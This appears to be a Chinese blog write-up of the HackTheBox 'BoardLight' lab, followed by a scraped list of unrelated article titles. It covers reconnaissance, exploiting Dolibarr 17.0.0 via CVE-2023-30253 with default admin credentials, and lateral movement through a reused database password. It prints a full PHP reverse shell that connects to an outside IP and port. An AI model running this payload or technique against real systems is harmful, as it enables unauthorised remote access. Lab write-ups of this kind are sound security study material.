当前位置: 首页 > news >正文

HackTheBox--BoardLight

BoardLight 测试过程

1 信息收集

NMAP端口扫描

端口扫描开放 22、80 端口在这里插入图片描述

80端口测试

# 添加 boardLight.htb 到hosts文件
echo "10.10.11.11 boardLight.htb" | sudo tee -a /etc/hosts

在这里插入图片描述

检查网页源代码,发现 board.htb

在这里插入图片描述

# 添加 board.htb 到 hosts 文件
echo "10.10.11.11 board.htb" | sudo tee -a /etc/hosts

board.htb 和 boardlight.htb 站点 80 端口没有区别,没有其他可利用信息
在这里插入图片描述

子域名&目录扫描

目录扫描未发现利用点

python3 dirsearch.py -u http://boardlight.htb/
python3 dirsearch.py -u http://board.htb/

子域名扫描

./wfuzz -c -w subdomains-top1million-110000.txt -u http://board.htb/ -H "HOST:FUZZ.board.htb" --hl 517
./wfuzz -c -w subdomains-top1million-110000.txt -u http://boardlight.htb/ -H "HOST:FUZZ.boardlight.htb" --hl 517

识别到子域 crm.board.htb站点使用 Dolibarr 组件,并且版本为 17.0.0

在这里插入图片描述

搜索 Dolibarr 17.0.0 ,Dolibarr <= 17.0.0存在一个PHP 命令注入漏洞 (CVE-2023-30253)


2 CVE-2023-30253利用

17.0.1 之前的版本 Dolibarr 允许经过身份验证的用户通过大写操作执行远程代码:在注入的数据中使用 <?PHP 即可。

1.使用默认账号密码登录 admin:admin
在这里插入图片描述

2.添加 website 并配置 pages
在这里插入图片描述

在这里插入图片描述

3.编辑 HTML 源并在其中添加 PHP 代码测试,<?PHP echo system("id")>,执行成功
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

反弹shell

<?PHP
// 反弹shell命令
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.171';
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; bash -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}if (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}
$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);function printit ($string) {if (!$daemon) {print "$string\n";}
}
?>

在这里插入图片描述

在这里插入图片描述


3 横向移动

目前登录用户 www-data,检查当前权限下文件,发现 conf.php 文件

cd /var/www/html/crm.board.htb/htdocs/conf
cat conf.php

在这里插入图片描述

但是 dolibarrowner :serverfun2$2023!! ssh 无法登录,查看系统其他用户,/home 下发现用户 larissa

在这里插入图片描述

用户 larissa 用户登录成功
在这里插入图片描述

在这里插入图片描述


4 权限提升

上传 linpeas.sh 文件
在这里插入图片描述

chmod +x linpeas.sh
./linpeas.sh

系统使用 enlightenment 0.23.1,存在 CVE-2022-37706 漏洞
在这里插入图片描述

点击查看 CVE-2022-37706 exp地址

在这里插入图片描述

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 1.DDR3 SO-DIMM 内存条硬件总结
  • 【C语言】<常量> 之群英荟萃
  • 2024年全面导入APS系统:提升工厂生产效率的策略
  • EDI安全:如何在2024年保护您的数据免受安全和隐私威胁
  • 一起学Hugging Face Transformers(14)- “自定义训练循环”问题解答
  • JVM:字节码文件
  • 刷题——输出二叉树的右视图
  • 5-一元函数微分学的应用(一)——几何应用
  • Qt 线程 QThread类详解
  • 【ROS2】中级-在单个进程中组合多个节点
  • 【CW32F030CxTx StartKit开发板】利用超声波传感器实现智能灯控
  • MacOS和Windows中怎么安装Redis
  • Nginx 是一个非常流行的 Web 服务器和反向代理服务器
  • 【Unity2D 2022:Particle System】添加拾取粒子特效
  • 【LeetCode】12. 小张刷题计划
  • [译]前端离线指南(上)
  • 【140天】尚学堂高淇Java300集视频精华笔记(86-87)
  • 3.7、@ResponseBody 和 @RestController
  • 5、React组件事件详解
  • el-input获取焦点 input输入框为空时高亮 el-input值非法时
  • js中的正则表达式入门
  • 离散点最小(凸)包围边界查找
  • 前端代码风格自动化系列(二)之Commitlint
  • 悄悄地说一个bug
  • 使用parted解决大于2T的磁盘分区
  • 吐槽Javascript系列二:数组中的splice和slice方法
  • 用Python写一份独特的元宵节祝福
  • ​Linux Ubuntu环境下使用docker构建spark运行环境(超级详细)
  • # Kafka_深入探秘者(2):kafka 生产者
  • # Swust 12th acm 邀请赛# [ A ] A+B problem [题解]
  • # 学号 2017-2018-20172309 《程序设计与数据结构》实验三报告
  • # 再次尝试 连接失败_无线WiFi无法连接到网络怎么办【解决方法】
  • #控制台大学课堂点名问题_课堂随机点名
  • ()、[]、{}、(())、[[]]等各种括号的使用
  • (PADS学习)第二章:原理图绘制 第一部分
  • (层次遍历)104. 二叉树的最大深度
  • (二)什么是Vite——Vite 和 Webpack 区别(冷启动)
  • (附源码)spring boot校园健康监测管理系统 毕业设计 151047
  • (附源码)计算机毕业设计SSM疫情社区管理系统
  • (每日持续更新)jdk api之FileReader基础、应用、实战
  • (七)Knockout 创建自定义绑定
  • (十七)devops持续集成开发——使用jenkins流水线pipeline方式发布一个微服务项目
  • (一)、软硬件全开源智能手表,与手机互联,标配多表盘,功能丰富(ZSWatch-Zephyr)
  • (一)SpringBoot3---尚硅谷总结
  • (转)程序员技术练级攻略
  • (状压dp)uva 10817 Headmaster's Headache
  • (最优化理论与方法)第二章最优化所需基础知识-第三节:重要凸集举例
  • .【机器学习】隐马尔可夫模型(Hidden Markov Model,HMM)
  • .bat批处理(十):从路径字符串中截取盘符、文件名、后缀名等信息
  • .NET 6 Mysql Canal (CDC 增量同步,捕获变更数据) 案例版
  • .NET MVC第三章、三种传值方式
  • .NET 直连SAP HANA数据库
  • .Net+SQL Server企业应用性能优化笔记4——精确查找瓶颈
  • .NET的数据绑定
  • .NET中使用Redis (二)